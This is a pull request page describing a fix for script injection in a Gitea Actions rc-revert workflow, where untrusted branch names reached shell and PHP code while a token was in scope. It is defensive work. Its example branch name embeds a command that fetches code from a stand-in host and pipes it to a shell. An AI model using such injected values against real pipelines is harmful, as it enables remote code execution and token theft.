Public Access
fix(security): prevent script injection in rc-revert workflow #324
Reference in New Issue
Block a user
Delete Branch "feature/harden-rc-revert-injection"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Security fix — GitHub/Gitea Actions script injection (HIGH)
.mokogitea/workflows/rc-revert.ymlsubstituted the attacker-controlled PR head branch ref directly into shell:Git permits chars like
`,$,(,),;,"in branch names, so a PR from a branch such asrc/";curl evil|sh;"executes arbitrary commands in the runner — withsecrets.MOKOGITEA_TOKEN(branch create/delete API access) in scope. Flagged HIGH by automated security review.Fix
env:(BRANCH/REPO/GITEA_URL/TOKEN) — available only as already-parsed shell variables, never rendered into workflow shell source.^rc/[A-Za-z0-9._/-]+$rejects anything unexpected before use.getenv("BRANCH")instead of string interpolation (closes the second injection).set -euo pipefailadded.Behaviour is unchanged for legitimate
rc/<name>branches. The identical inherited copy inmokogitea-privatehas been hardened the same way.The PR head branch ref is attacker-controlled and was substituted via ${{ }} directly into the shell run block (and interpolated into php -r), allowing command injection with secrets.MOKOGITEA_TOKEN in scope. - Pass untrusted values through env (BRANCH/REPO/GITEA_URL/TOKEN), not ${{ }} template substitution into shell source - Strict allowlist ^rc/[A-Za-z0-9._/-]+$ before any use - PHP reads BRANCH via getenv() instead of string interpolation